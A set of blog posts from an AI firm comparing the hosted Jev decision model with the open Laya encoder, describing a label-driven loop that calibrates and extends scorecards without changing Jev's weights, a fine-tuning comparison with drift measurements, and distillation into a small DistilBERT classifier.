**An engine you know didn't move.** A scorecard asks one checkpoint many questions. Fine-tune that checkpoint on the verdict and you've changed the weights under every other question too. A frozen engine can't drift, because nothing in it changed. So we asked fine-tuned Laya its other questions on the same 600 items and counted how often the top answer moved. Our pre-registered prediction was that more than 10% would. It was right, by a lot. Averaged over three seeds, the top answer changed on 9% of items for the irony question at the low end and on 75% for the intensity score at the high end. `topic_domain`, the question the flywheel added, changed on 35%. Across the eight questions we didn't train on, 42% of top answers moved. A changed answer isn't necessarily a worse one: we have no ground truth for those questions, so this measures movement and says nothing about damage. But after a fine-tune, every other score on that scorecard needs validating again. With a frozen engine, none of them do.

::image{
  src="images/jev-vs-laya-drift.png"
  layout="full"
  alt="Bar chart of the share of 600 items whose top answer changed after fine-tuning Laya on the sentiment
  verdict, for eight questions it was not trained on. Is it ironic: 9 percent. Does it praise: 21. Does it
  criticise: 26. What is it about: 35. Does it recommend: 48. Did it meet expectations: 60. Are the feelings
  mixed: 61. How strong is the emotion: 75."
  caption="We fine-tuned Laya on one question, the sentiment verdict. These are the eight questions we didn't train on, and how often its answer to each one changed. Mean of three seeds; the black line spans them. Changed doesn't mean wrong: there's no answer key for these."
}

**The only lever Jev has.** TypeSafe's [model page](https://docs.typesafe.ai/models) says Jev "is not fine-tuned or LoRA-adapted with customer data".

There's one more comparison we care about for production: if you auto-accept every verdict above a confidence threshold, how much of the traffic clears a 95% accuracy bar? On the 600 test items, Jev alone could auto-accept 46% of its verdicts, and Jev with the layer 72%. Laya alone managed 34%, and Laya with the layer 55%. Fine-tuned Laya averaged 71%, but swung from 59% to 82% across its three training seeds, and DistilBERT averaged 63%. So the most accurate system isn't the one whose confidence best separates its right answers from its wrong ones. We use that same auto-accept threshold in production: route the confident majority straight through and send the rest to a reviewer, then feed the reviewer's calls back into the fit. It's how a QA operation gets from auditing a small sample of calls to covering far more of them without adding reviewers, and it only works when the stated confidence matches the observed accuracy. How well confidence ranks right answers above wrong ones (AUROC) tells the same story: 0.853 for Jev with the layer, 0.839 for DistilBERT, 0.800 for fine-tuned Laya (0.760 to 0.851 by seed), 0.799 for Laya with the layer. This comparison is exploratory; we didn't pre-register it. Jev rounds its probabilities to two decimals, so the Jev-alone figure sits on a block of 277 tied items. And the fine-tuned models here were retrained for the probe, so their accuracies differ from the table above by up to a point.

::image{
  src="images/jev-vs-laya-autoaccept.png"
  layout="full"
  alt="Bar chart of the share of verdicts each system can auto-accept while the accepted set stays 95 percent
  accurate, on 600 test items. Jev with the layer 72 percent. Fully fine-tuned Laya 71 percent on average,
  ranging from 59 to 82 across three seeds. DistilBERT fine-tune 63 percent. Laya with the layer 55 percent.
  Jev alone 46 percent. Laya alone 34 percent."
  caption="Rank each system's verdicts by its own confidence and accept from the top until accuracy would drop below 95%. Black lines span three training seeds. Exploratory; we didn't pre-register this comparison."
}

### Where we deviated

Cross-validation used 3 folds where we'd pre-registered 5, to keep the run affordable on one GPU. Arm C chose its learning rate at 140 and 800 labels and reused each for the larger sizes that followed it (140's for 300 and 500, 800's for 2,000 and 5,140). We killed the first attempt before it wrote a row, when MLX's buffer cache grew to about 24 GB on a 32 GB machine. The 5,140-label run crashed once on a GPU error partway through, and we resumed only the missing seeds. It's all in the pre-registration file, beneath predictions we left unedited.

## What can you change with each engine?

| | Jev | Laya |
|---|---|---|
| Change what gets asked (add, reword, retire questions; sharpen criteria) | Yes | Yes |
| Fit your own decision head over the answers, and calibrate it | Yes | Yes |
| [Distill the aligned system](/blog/distilling-jev-into-a-classifier/) into a small classifier you own | Yes | Yes |
| Change the engine's weights | No: TypeSafe serves the same weights to everyone | Yes: Apache 2.0, open weights |

## Which should you use?

| Your situation | Use | Why |
|---|---|---|
| No labels yet | Jev | 0.768 against 0.722 zero-shot here; Convai's card says its base checkpoints need fine-tuning on its own benchmark |
| No hardware you want to run a model on | Jev | It's hosted; Laya is yours to serve |
| Inputs past 512 tokens | Jev | Laya truncates silently; Jev lists 64k per request. We tested no long documents on either |
| Questions with dozens of options | Jev | Convai's Banking77 result, 0.425 against 0.870 |
| You want the feedback layer | Either | It calibrated both and lifted both |
| Volume, data locality, or spare hardware | Laya | Free and local, starting several points behind |
| A few hundred labels, and accuracy matters more than explanation | Fine-tune Laya | 0.896 here at 140 labels; redo calibration afterwards and check the other questions for drift |

One option we haven't tried sits between the last two rows: fine-tune Laya only on the observation questions, like `topic_domain`, and keep the verdict in the readable head. That might buy sharper evidence without giving up the written account. It's future work.

## What we haven't tested

- **One constructed corpus.** It's templated, and the bias we planted sits in the vocabulary, which flatters any text classifier. The fine-tuning result is the one most exposed to this. A real feedback set's conventions won't be that easy to read off the words.
- **One paired run.** 600 held-out items is about ±1.4 points at one standard error. The 6.8-point gap clears that. The ECE difference between raw engines may not.
- **An unofficial port of one checkpoint.** We ran `aac6fef/laya-mlx`, an FP16 conversion of the base English `convaiinnovations/laya`. We didn't test the multilingual checkpoint, the one Convai fine-tuned on its own benchmark, or Convai's own reference implementation.
- **No long documents.** Every item here is a sentence.
- **A scripted labeler.** It answers with the corpus's reference label. We haven't tested whether a person's comments steer the loop better.
- **Latency on a quiet machine.** Ours was busy both times.

To replay the paired comparison on Apple silicon:

```bash
git clone https://github.com/AnthusAI/Jev-Flywheel && cd Jev-Flywheel
make install
make laya    # downloads the 843 MB model; about 2 minutes after that
```

The last `paper-600` row for each engine should read 0.870 for Jev and 0.802 for Laya.

The repo is deliberately small: one score, a logistic head, no database.

## We run this comparison for clients, at scale

Choosing an engine and aligning it are two different decisions, and this repo is the small, reproducible version of a loop we've run in production for years to make the second one work regardless of the first. A reviewer corrects a verdict and says why; the explanation becomes a stated policy, one more question or one more weight in the scorecard, and the system gets more trustworthy month over month with an audit trail behind every change. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions, and it's the [case study](/blog/call-criteria/) behind the method, whichever engine sits underneath it.

[Plexus](/platform/plexus) is where we run it: the questions, the fitted heads, the calibration, the promotion gates, and the reviewer workflow that decides whether Jev, Laya, or something else answers for you.

If you're weighing a hosted engine against open weights for a real scorecard, we'll run this comparison and the alignment loop for you, on your data. The whole loop, with the published measurement behind each step, is on the [decision models page](/decision-models/). [Here's how an engagement works](/engage).

---

# Fine-Tuning Jev: You Can't. Here's What Gets You the Same Effect

> You can't fine-tune Jev, or any hosted decision model: TypeSafe serves the same weights to everyone. So we kept it frozen and adapted the questions and a small fitted head around it. On 140 labels, one new plain-English question bought 10 points of accuracy, and it finds the hidden pattern about a…

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-21

Canonical: https://anth.us/articles/fine-tuning-jev/

::image{
  src="images/fine-tuning-jev-cover.png"
  layout="full"
  alt="Cover: the model never changed; we asked it one more question. Two bars show held-out accuracy of 77
  percent for Jev alone and 87 percent for Jev plus one new question, after 140 rounds of agree-or-disagree
  feedback."
}

Say you've got an AI model grading text for you: support tickets, call transcripts, product reviews. It's fast, it's cheap, and most of the time it agrees with your team. Then you notice it getting one kind of case wrong, the same way, over and over. Your reviewers are following a rule nobody ever wrote down, and the model has no way to know it.

The usual fix is fine-tuning: collect corrected examples and retrain the model on them. With [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev) you can't fine-tune. It's a hosted model, and TypeSafe's [model page](https://docs.typesafe.ai/models) says "the same weights serve every account." Nobody gets a copy of their own to retrain.

That leaves the two options everyone talks about: build a labelled dataset first and train your own classifier, or take the zero-shot answer as it comes. There's a third way, and it's the one we use. Start classifying immediately with the decision model. Review the decisions as it makes them, and label the ones you disagree with. Those labels are far cheaper than a dataset built up front, and they're what continuously aligns the classifier from then on.

So we left Jev exactly as it is and built a small system around it that learns from exactly that agree-or-disagree feedback. It learned in two steps, and the order matters.

First, its confidence got trustworthy. Out of the box, Jev's stated confidence was off by about 15 points. Within a few dozen rounds of feedback that gap started closing, and by 87 rounds it was down to 3. That part is automatic and quick: the system re-weighs the answers Jev already gives.

Accuracy didn't move at all during that time, because the rule the reviewers were following wasn't in any question we were asking. Then, at 140 rounds, the system read the disagreements, described the unwritten rule in a plain English sentence, and proposed one extra question for Jev to answer. Accuracy went from 77% to 87%. The model never changed.

It doesn't work every time, and we'll show you how often it does. We also ran real fine-tuning on an open model as the fair comparison, and that didn't go the way we predicted. Everything here comes from the [Jev-Flywheel repository](https://github.com/AnthusAI/Jev-Flywheel), and you can replay the recorded run on your laptop with no API keys.

::image{
  src="images/fine-tuning-jev-journey.png"
  layout="full"
  alt="Two line charts over rounds of agree-or-disagree feedback. First, the gap between Jev's stated
  confidence and reality falls from 15 points at the start to 11 points after 37 rounds and 3 points after
  87, and stays at 3. Second, accuracy stays flat at 77, 76 and 76 percent through 87 rounds, then jumps to
  87 percent at 140 rounds, when the system adds one new question."
  caption="The same recorded run, seen twice. Confidence improves from the first re-weighting. Accuracy waits for the step that changes what gets asked."
}

## Can you fine-tune Jev?

No, and that's by design: there are no fine-tuning docs to find. TypeSafe's advice is to shape answers through the request: put domain rules in each question's instructions and criteria, break broad judgments into atomic questions, and combine the answers in your own code. Their docs even point at training a downstream model on Jev's probabilities.

That advice is right, and we wanted numbers for it on a problem where we know the answer. In [the first Jev piece](/blog/making-decisions-instead-of-generating-text/) we argued for typed decisions, and in [Can You Trust Jev's Confidence?](/blog/can-you-trust-jev-confidence/) we showed its confidence needs calibrating against a few hundred of your own labels. This is the sequel: a loop that takes those labels, does the calibrating, and also works out which question you forgot to ask.

## The rule nobody wrote down

We tested this on a problem with an answer key. When we built this sentiment dataset for [a fine-tuning article a year ago](/blog/fine-tuned-classification-with-confidence/), we planted a quirk in its labels on purpose: text about sports tends to be marked positive, and text about the workplace tends to be marked negative, whatever the words say. It stands in for the kind of convention every review team has and nobody documents. Back then we fine-tuned a model on it. The model absorbed the quirk and couldn't tell us what it had learned.

This time Jev scored the texts, and a reviewer agreed or disagreed with each verdict. (In this test the reviewer is a script that answers from the dataset's own labels. More on that at the end.) After 140 rounds there were 43 disagreements, and they looked like noise: bland, neutral sentences marked positive or negative for no visible reason. Then the system handed those disagreements to an AI analyst and asked what they had in common. This is what it wrote:

> "The label in this data tracks the text's domain rather than its expressed sentiment: sports/recreation texts are labeled positive and business/workplace/operations texts are labeled negative, even when the wording is purely neutral logistics or the sentiment is deliberately hedged and mixed."

That's the planted quirk, described in a sentence anyone on the team could read and argue with. The analyst proposed one new question for Jev: is this text mainly about sports, about the workplace, or about something else?

Here's one test item that question fixes. The text is "The documents configured available this week," and the reviewer's label is negative. Jev reads the sentiment as positive, 94% sure, and it isn't wrong about the words: there's nothing negative in them. Asked the new question, it also says workplace, at 89%. With one question the system said positive. With two it says negative, which matches the reviewer. Jev observes; the system around it judges.

## Two ways back to the scorecard

::image{
  src="images/fine-tuning-jev-flywheel.png"
  layout="full"
  alt="Flowchart of the flywheel. A scorecard.yaml holding the questions and the weights drives scoring, one
  Jev request per item. The console asks a person about one item, they agree or disagree, and feedback
  accumulates. Two paths lead back to the scorecard: a refit that runs every few labels and changes only the
  weights, and a steering round that costs one LLM call and adds a new question if it wins and the person
  approves it."
  caption="The data flywheel, rendered from the repo's diagram source. Only the outer path changes what we ask Jev."
}

Everything the system knows lives in one file, the scorecard: the questions we ask Jev, and a small formula, which we'll call the head, that weighs Jev's answers into a verdict with a confidence.

You label items: agree, or disagree with the right answer and an optional comment. It's human-in-the-loop in the literal sense, since nothing changes without your labels and the bigger changes wait for your approval. Feedback reaches the scorecard by two paths, and they aren't interchangeable.

A **refit** re-weighs the answers Jev already gave. It takes milliseconds and costs nothing, so it runs every few labels, and it's promoted only if it beats the current version on out-of-fold predictions.

A **steering round** changes the questions. It costs an LLM call and sometimes a pass of Jev requests, so it waits until refits have stopped helping while disagreements keep arriving. An AI analyst reads the disagreements and proposes edits: add, reword, or retire an element.

## 87 labels of refitting against one new question

The recorded run contains a clean natural experiment. We scored every version on the same 600 held-out items, which no labeler and no selection rule ever touched.

| Scorecard | Accuracy | Calibration error (ECE) | Brier |
|---|---|---|---|
| v1: Jev alone | 0.768 | 0.151 | 0.188 |
| v2: after a refit on 37 labels | 0.763 | 0.112 | 0.177 |
| v3: after a refit on 87 labels | 0.765 | 0.030 | 0.164 |
| v4: after one steering round, 140 labels | **0.870** | **0.030** | **0.093** |

::image{
  src="images/fine-tuning-jev-refit-vs-steer.png"
  layout="full"
  alt="Two bar charts by scorecard version. First, calibration error: 0.151 for Jev alone, falling to 0.112
  and 0.030 after refits on 37 and 87 labels, and staying at 0.030 after one new question at 140 labels. Then
  accuracy: 0.768 for Jev alone, 0.763 and 0.765 after the refits, then 0.870 after the new question."
  caption="Refits fix calibration, steering fixes accuracy. One recorded run, replayable offline from the repo."
}

Eighty-seven labels of ordinary supervised learning bought −0.3 points of accuracy. The fitting didn't fail. Supervised learning finds the best weights within a fixed set of features, and if the pattern that decides your labels can't be expressed in the questions you're already asking, more labels converge on the best available wrong answer. What those refits did buy was calibration, a fivefold cut in ECE.

Then one steering round changed the question set, and accuracy rose 10.5 points. After it, the head fits four numbers where it had fit two, and those four are over the right features.

## The machine: questions in, a readable head on top

Jev takes a piece of text and a set of typed questions (yes/no, choice, or a score on a rubric) and answers all of them in one request. The flywheel is built on that one property. Measured on all 8,801 items with eight questions each, a request averages 502 input tokens and barely changes with the text, so asking the same eight questions as eight calls would pay that overhead eight times. Adding a question is cheap. Adding a request isn't.

So the judgment gets split in two:

- **Elements** are sub-questions Jev answers: "Is this about sport?" They're evidence.
- Each answer becomes one or more **factors**, named numbers produced by a fixed rule with no fitted parameters.
- A **decision head**, a small logistic model, weighs the factors and returns a verdict with a confidence. Its weights sit in the same YAML file as the questions, where you can read them.

One `scorecard.yaml` holds both halves. That's the whole adaptable surface: a list of questions and a handful of numbers.

Scorecards are how we've run production classifiers for years. On Plexus a scorecard is a named, versioned set of questions and a head, evaluated against held-out items and promoted only when the numbers say so, with hundreds of them live at once for one client. The YAML in this repo is the small version of that object.

```yaml
elements:
  - key: topic_domain
    question_type: choice
    instructions: Which best describes the main subject of this text...
    criteria: {sports_or_recreation: null, business_or_workplace: null, something_else: null}
decision:
  model: multinomial_logistic
  features: [self.holistic.clr.positive,
             topic_domain.clr.sports_or_recreation, topic_domain.clr.business_or_workplace]
  parameters:
    weights: {positive: {...}}        # set by the fit, never by the model
```

## What a steering round actually does

That was the story. Here's the procedure, because the safeguards are the part worth copying.

When the round started, out-of-fold accuracy had stalled at 0.740 while disagreements kept arriving. The round begins by assembling evidence from disk: all 43 disagreements, a balanced 40-item sample of labeled items we got right or wrong, and the current elements ranked by permutation importance. The briefing never includes the held-out split, and the repo's design notes give the reason: an agent that saw the scoreboard, even indirectly, would tune to it one round at a time.

Then one model call, which produced the diagnosis quoted above and one proposed element, `topic_domain`. The proposal is JSON with no number anywhere in it. The format has no field for a weight, so the language model is never in the numeric path.

Code takes over from there. It validates the proposal, then prices it: 140 Jev requests, because 140 labeled items have no answer to a question that didn't exist a minute ago. Ten new elements would've cost the same 140, since a request carries every question. Jev answers, the head is refit out of fold, and the candidate meets the incumbent on the same labels:

```
candidate: accuracy 0.874, ECE 0.026, Brier 0.080
incumbent: accuracy 0.762, ECE 0.022, Brier 0.161
```

The gate decides promotion on Brier score and doesn't let accuracy regress. Only then does it ask for you, with the diff and those numbers. Say no and nothing is written.

That gate is the same shape as the review workflow we run in production: a proposed change, its numbers on held-out data by slice, a person approving the diff, and a record of who approved what. It's what lets a reviewer team steer a classifier without anyone touching weights, and it's why the audit trail matters as much as the accuracy.

Notice where the judgment ended up. The question we send Jev is neutral and carries no hint that one answer is good. The entire content of "sport reads positive here, workplace reads negative" is two fitted coefficients:

```yaml
topic_domain.clr.sports_or_recreation:  +0.561
topic_domain.clr.business_or_workplace: -0.797
```

And Jev really didn't change. We checked that its sentiment answer for an item is byte-for-byte the same object before and after the round; the answer cache is keyed per question, so it was never re-asked.

## Wasn't isotonic regression the calibration answer?

In the calibration article, isotonic regression matched or beat Platt scaling at every calibration-set size from 20 to 5,280, and we told you to fit it. The flywheel's head uses a single temperature instead. Both choices hold up, because they calibrate different things with different amounts of data.

That article calibrated one raw Jev score, with up to 5,280 labels to spend, and the raw score had a plateau that a smooth curve can't follow. The flywheel calibrates the output of a logistic head, and its own calibration rules say why that's a smaller job: a logistic head with an intercept is already calibrated on its training distribution, so what's left for the calibrator is residual error. The fivefold drop in the table above comes from the refit and its temperature together, and we haven't separated the two.

The repo makes the choice with a capability ladder. What the fit may do depends on effective sample size, which is the label count discounted for how unevenly the active selection sampled; the 140 labels here were worth 110.6. From 30 effective labels the ladder allows one temperature. Isotonic comes in, after a temperature, at 1,000. The code's stated reason is that isotonic memorizes at small sizes and, stacked on this head, "was measured to add noise." That measurement lives in lab notes that aren't in the repo, so treat it as our claim and check it on your data. Every calibration is fit on out-of-fold predictions only, and the calibrator accepts a type that only cross-validation can construct, so in-sample calibration can't happen by accident.

One caution: the two articles' ECE figures aren't comparable. That one's headline ECE measured P(positive) on 3,521 items; this one measures confidence in the predicted answer, in ten bins, on 600. And we haven't run isotonic against temperature inside the flywheel at matched label counts. The advice from both pieces reduces to: a few hundred labels, the simplest calibrator your sample supports, and a held-out check.

## How often does it work?

This is the number to judge the idea by, and it isn't 100%. We ran one steering round at 140 labels, 12 times: four analyst models (Kimi K3, Kimi K2.5, DeepSeek V3.2, Qwen3-Coder-480B) by three label seeds.

::image{
  src="images/fine-tuning-jev-reliability.png"
  layout="full"
  alt="Horizontal bar chart of 12 runs. Three runs that named the subject-matter axis gained 14.8, 12.2 and
  8.2 points over their best plain refit. Six runs that promoted other questions gained between 4.2 and 7.8
  points. Three runs promoted nothing. The mean of the nine promoted runs is +7.4 points."
  caption="Each bar is one run’s held-out gain over its own best plain refit. “Named the axis” is a hand judgment, published beside the runs."
}

| | |
|---|---|
| Proposed an element naming the subject-matter axis | 3 of 12 |
| Mean gain over the best plain refit (9 runs that promoted) | +7.4 points |
| Range | +4.2 to +14.8 points |
| Proposed nothing that beat the incumbent | 3 of 12 |

The three runs that named the axis gained 8.2, 12.2 and 14.8 points. The six that promoted something else gained 4.2 to 7.8, about +5 on average, by decomposing sentiment: questions like "does this express an opinion, or only state a procedure?" Those are good features, but they don't name the bias we planted. In the last three runs the proposal lost to the incumbent and the scorecard didn't change. That's the gate working.

We judged "naming the axis" by reading each proposal, and the judgments sit beside the runs in [`studies/arms_judged.json`](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/arms_judged.json). An earlier keyword screen got four runs wrong, including the two best. And three seeds per model can't rank four analyst models, so we don't.

Two attempts to raise the hit rate. Adding a checklist of kinds of convention to the analyst prompt (scope, exceptions, subject matter, register, thresholds, without naming sport or the workplace) took it to 4 of the 10 runs that completed. Subject matter is on that list, so that's a nudge and we report it as one. The other idea made it worse. We thought telling the analyst it was improving a sentiment scorecard had frame-locked it, so we added a second agent that saw only two unlabeled groups of texts and was asked what separates them. Our prediction, [written down beforehand](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/PREREGISTERED.md), was 6 of 12. It found the axis in 1 of 10, with a lower average gain (+5.9 against +7.4).

## What if you could fine-tune the engine?

[Laya](https://huggingface.co/convaiinnovations/laya) is a 421M-parameter, Apache-2.0 encoder from Convai that answers the same three kinds of typed question on your own machine. The flywheel layer runs on it unchanged: Laya alone scores 0.722 on the same 600 items, and with the layer and the same `topic_domain` question, 0.802. Because its weights are open, we could also do what Jev doesn't allow: LLM fine-tuning in the ordinary gradient sense, with the recorded labels as the training set, three seeds per arm, and our predictions pre-registered.

::image{
  src="images/fine-tuning-jev-finetune.png"
  layout="full"
  alt="Two horizontal bar charts comparing six systems given the same 140 labels. Accuracy: Laya fully
  fine-tuned 0.896, Jev plus the flywheel layer 0.870, DistilBERT fine-tuned 0.835, Laya plus the layer
  0.802, Laya alone 0.722, Laya head-only fine-tune 0.659. Calibration error: Laya plus the layer 0.015, Jev
  plus the layer 0.030, head-only 0.061, DistilBERT 0.080, fully fine-tuned Laya 0.087, Laya alone 0.107."
  caption="Fine-tuned bars are three-seed means with the seed range as whiskers; layer bars are one recorded run."
}

| System, same 140 labels | Accuracy | ECE | Brier |
|---|---|---|---|
| Laya alone | 0.722 | 0.107 | 0.189 |
| Laya + flywheel layer | 0.802 | 0.015 | 0.130 |
| Jev + flywheel layer | 0.870 | 0.030 | 0.093 |
| Laya, fully fine-tuned | **0.896** (0.887 to 0.903) | 0.087 | 0.089 |
| Laya, head-only fine-tune | 0.659 (0.620 to 0.712) | 0.061 | 0.182 |
| DistilBERT, fine-tuned | 0.835 (0.818 to 0.848) | 0.080 | 0.125 |

We got this wrong in advance. We predicted full fine-tuning would land at 0.74 to 0.80, at or below the layer on Laya; it got 0.896, above the layer on Jev too. We predicted a seed spread of at least 3 points; it was 1.7. We predicted head-only fine-tuning would beat full fine-tuning at this budget; it scored 0.659, below untuned Laya. Some of that last one is on us: the head-only learning-rate grid was probably too aggressive, and we used 3-fold cross-validation where we'd pre-registered 5. We reran head-only at gentler learning rates as an exploratory arm, and it didn't help: 0.722 at 1e-5, which is untuned Laya's score, and 0.679 at 2e-5. We also tried fewer labels. Full fine-tuning on just 20 random labels scored 0.819, already past the layer on Laya, and it takes between 80 and 140 to pass the layer on Jev. The honest reading: on this corpus, with an equal label budget, gradient fine-tuning beats the flywheel layer on raw accuracy. The corpus helps it. The text is templated and the planted cue is lexical, which flatters any model that reads the words directly, and we'd said so as a stated risk before running. DistilBERT, at 66M parameters, reached 0.835 and was the best of any system on the neutral tier (0.782).

Here's what the layer keeps. Calibration: ECE of 0.015 and 0.030 against 0.087 for the fine-tune, three to six times lower, though that 0.087 is soft. We traced it: the procedure fit one temperature on cross-validation models trained on about 93 of the labels, then applied it to three different final models trained on all 140, so it helped one seed and hurt another. And when we retrained the same seed, accuracy came back within a point but calibration error didn't: 0.046 one time, 0.116 another. On 140 labels, a fine-tune's confidence isn't stable from run to run. The layer's fit is deterministic. Calibration is what lets you auto-accept the confident answers and route the rest to a person. At a 95% accuracy bar, Jev with the layer could auto-accept 72% of its verdicts on the test items, up from 46% for Jev alone. Fine-tuned Laya averaged 71%, and ranged from 59% to 82% depending on the training seed: more accurate overall, less sure of when it's right. A written account of what it learned, in one English question and two signed numbers, where the fine-tune has a few hundred million changed weights and no explanation. An engine that's provably untouched, so its other answers can't drift. When we asked fine-tuned Laya the eight questions we hadn't trained it on, its top answer changed on 42% of items on average, from 9% for one question to 75% for another. [The Laya comparison](/blog/jev-vs-laya/) has the detail. And on Jev, it's the only lever you have.

::image{
  src="images/jev-vs-laya-autoaccept.png"
  layout="full"
  alt="Bar chart of the share of verdicts each system can auto-accept while the accepted set stays 95 percent
  accurate, on 600 test items. Jev with the layer 72 percent. Fully fine-tuned Laya 71 percent on average,
  ranging from 59 to 82 across three seeds. DistilBERT fine-tune 63 percent. Laya with the layer 55 percent.
  Jev alone 46 percent. Laya alone 34 percent."
  caption="How much each system can be trusted without a person checking: the share of verdicts it can auto-accept at 95% accuracy. Black lines span three training seeds. Exploratory; we didn't pre-register this comparison."
}

| | Jev | Laya | What it bought here |
|---|---|---|---|
| Change what gets asked (add, reword, retire questions; sharpen criteria) | Yes | Yes | +10.5 points on Jev, +7.2 on Laya |
| Fit your own decision head over the answers, and calibrate it | Yes | Yes | ECE 0.151 to 0.030 on Jev; accuracy flat |
| Distill the aligned system into a small classifier you own | Yes | Yes | Student 0.912 against its teacher's 0.890 (3,521 items) |
| Change the engine's weights | No: TypeSafe serves the same weights to everyone | Yes: Apache-2.0, open weights | 0.722 to 0.896 on Laya |

The arms, the learning curve, and Laya's practical limits are in [Jev vs Laya](/blog/jev-vs-laya/). Taking the aligned system off the hosted model entirely is in [Distilling an Aligned Jev System into a Classifier You Own](/blog/distilling-jev-into-a-classifier/).

## What we'd do with this

This is the playbook we run for clients. If you're running it yourself:

1. **Stop looking for the fine-tuning endpoint.** Put your effort into the questions and a head you fit yourself.
2. **Start with one holistic question and label 100 to 150 items**, picking uncertain ones and recording how you picked them. Refit as you go. Expect calibration to improve and accuracy to stay put.
3. **When refits stall and disagreements keep coming, change the questions.** Have an analyst model read the disagreements alongside a balanced sample of labeled items, and ask it for questions only, never weights.
4. **Screen several candidate questions at once.** They ride in one request per item, so five cheap guesses cost what one costs.
5. **Gate on out-of-fold Brier, and never show the analyst your held-out set.**
6. **Read the proposal before approving it.** On this corpus the gate would've absorbed the bias whether or not anyone described it. The description is what gives you the chance to say "that one's policy" or "that one we should remove."
7. **Budget for misses.** One round found the real axis a quarter of the time. In the repo's exploratory multi-round runs on Laya, later rounds with more labels found it in all three seeds.
8. **If raw accuracy matters most and you can own the weights,** fine-tune an open engine, or [distill](/blog/distilling-jev-into-a-classifier/). Keep the layer as the legible, calibrated reference.

## What we haven't tested

- **The labeler is a script.** It answers with the corpus's own reference label, and its comments are deliberately uninformative. Whether a real reviewer's written comments surface real conventions is the claim a product would rest on, and it's untested here. `flywheel label` is how you'd test it.
- **The corpus is constructed.** We know the answer because we planted it. That makes a useful test bed and a poor guide to a messy real feedback set. The neutral tier is close to a coin flip whatever you ask.
- **Active selection is unproven.** The 140 labels aren't distributed across tiers like the pool (χ² p = 0.006). The policy did something, and the fit corrects for it, but we haven't shown it earns its keep.
- **600 held-out items is about ±1.4 points** at one standard error. The headline is one recorded run. The study can show the effect exists; it can't order analyst models or settle small gaps.
- **No real human comments yet.** The repo demonstrates the machinery and the measurement. Continuous learning from a real review team's feedback is the part still to show.

Clone the [repo](https://github.com/AnthusAI/Jev-Flywheel) and run `make demo`: it rebuilds the recorded run offline in about ten seconds, with no keys, no network and no model. It's deliberately small.

## We run this loop for clients, at scale

The repo is the small, reproducible version of a loop we've operated in production for years. Reviewers correct the model's verdicts and say why. The explanation becomes a stated policy. The system gets more trustworthy month over month, and every change is recorded so you can see what moved and whether it was better. We've run that for a call-center QA operation across hundreds of scorecards and millions of interactions, and it's the [case study](/blog/call-criteria/) behind every number on this page about what the method does when the labels are real.

[Plexus](/platform/plexus) is where we run it: the questions, the fitted heads, the calibration, the gates, the reviewer workflow, the audit trail, and the distillation step when you're ready to own the classifier. The "what we haven't tested" list above is about this repo, not about the method. The part still to show here, continuous learning from a real review team, is the part we've been doing longest.

If you have a judgment task at volume and a team that can't review more than a sliver of it, we'll run this for you: your data, your reviewers, a fixed first month, and a scorecard you can inspect at the end of it. The whole loop, with the published measurement behind each step, is on the [decision models page](/decision-models/). [Here's how an engagement works](/engage).

---

# Distilling an Aligned Jev System into a Classifier You Own

> A Jev decision model aligned with 140 human labels taught a 66M-parameter DistilBERT that scored 0.912 against the human label, two points above its teacher, at 5.6 to 15 ms an item. The accuracy is the least general part; the per-slice ship gate is the part to copy.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-21

Canonical: https://anth.us/articles/distilling-jev-into-a-classifier/

::image{
  src="images/distilling-jev-into-a-classifier-cover.png"
  layout="full"
  alt="Two bars of accuracy against human labels: the hosted, Jev-based teacher at 89 percent and the small
  local student at 91 percent."
  caption="The teacher is a hosted, Jev-based scorer. The student is a small model you run yourself, trained only on the teacher's grades."
}

A hosted AI model is the easy way to start scoring text: no training data, no GPUs, an answer in a quarter of a second. It's also a meter that never stops running. Every ticket, transcript or review you score is another request, for as long as you keep scoring.

There's a way off the meter that doesn't throw away what you've built. Once the hosted model has been tuned to agree with your reviewers, let it grade a big pile of your own unlabeled text, then train a small model of your own on those grades: the big model becomes the teacher, and the small one becomes the thing you run. We tried it. A [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev)-based teacher, aligned to its reviewers with 140 rounds of feedback, taught a 66M-parameter DistilBERT that never saw a human label, and on 3,521 test items the student agreed with the human answer 91% of the time to the teacher's 89%, answering in 5 to 15 milliseconds instead of a network round trip.

This is the same trade every team hits once a hosted model is actually working: keep paying per item forever, or graduate what you've learned into something you own. The version we run for clients starts classifying immediately with the hosted model, aligns it continuously from reviewer feedback the same way as here, and only then distills the aligned system into a small model you can serve yourself. The gate that decides whether the student is ready isn't one accuracy number; it's a check per slice of your data, so a class of cases nobody reviews doesn't quietly get worse. That's far cheaper than building a labeled training set before you start.

That 91% is the number in this piece you should trust least, and we'll say why. What's worth copying is the machinery around it: what to score a student against, how to calibrate it, and how to decide where it's allowed to answer.

## Where the alignment lives

[Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev) is a hosted model that answers typed questions about a piece of text (yes or no, pick one, score against a rubric) and returns a value and a confidence for each. In the [Jev-Flywheel repo](https://github.com/AnthusAI/Jev-Flywheel), Jev stays frozen. A scorecard asks it a short list of plain questions, and a small fitted head (a logistic model over those answers) turns them into a calibrated verdict. When the verdict disagrees with a reviewer, one of two things changes: the head's weights get refit, or an AI analyst reads the disagreements and proposes a new question. We planted a bias in the test corpus (sports text carries positive labels, workplace text negative ones), and 140 labels plus one steering round took held-out accuracy from 0.768 to 0.870 and calibration error from 0.151 to 0.030. [Our piece on fine-tuning Jev](/blog/fine-tuning-jev/) walks through that loop and how often it works.

What matters here is where the adaptation ended up. Jev's weights didn't move. Everything the system learned from those 140 labels is one question in English and a few coefficients you can read. That head is a labeling function: hand it any text and it returns a label and a probability. And the probability means something, which isn't a given. In [Can You Trust Jev's Confidence?](/blog/can-you-trust-jev-confidence/) we found Jev's raw confidence informative but overconfident until it's calibrated against labels, and a teacher's probabilities are only worth distilling if they mean what they say. The flywheel calibrates its head on out-of-fold predictions at every fit, which is how the recorded run got to 0.030.

Calibrated heads like this are what run in production: a scorecard whose stated confidence tracks its observed accuracy closely enough to gate on, so the confident majority clears automatically and a reviewer only sees the calls that need a person. We run that gating for a call-center QA operation across hundreds of scorecards, and the confidence has to hold up before anything downstream, a distilled student included, is allowed to trust it.

Every item the scorecard scores is a request to a hosted model. So use the calibrated head as a teacher and train a small text classifier to imitate it. If the student holds up, most items stay on your machine.
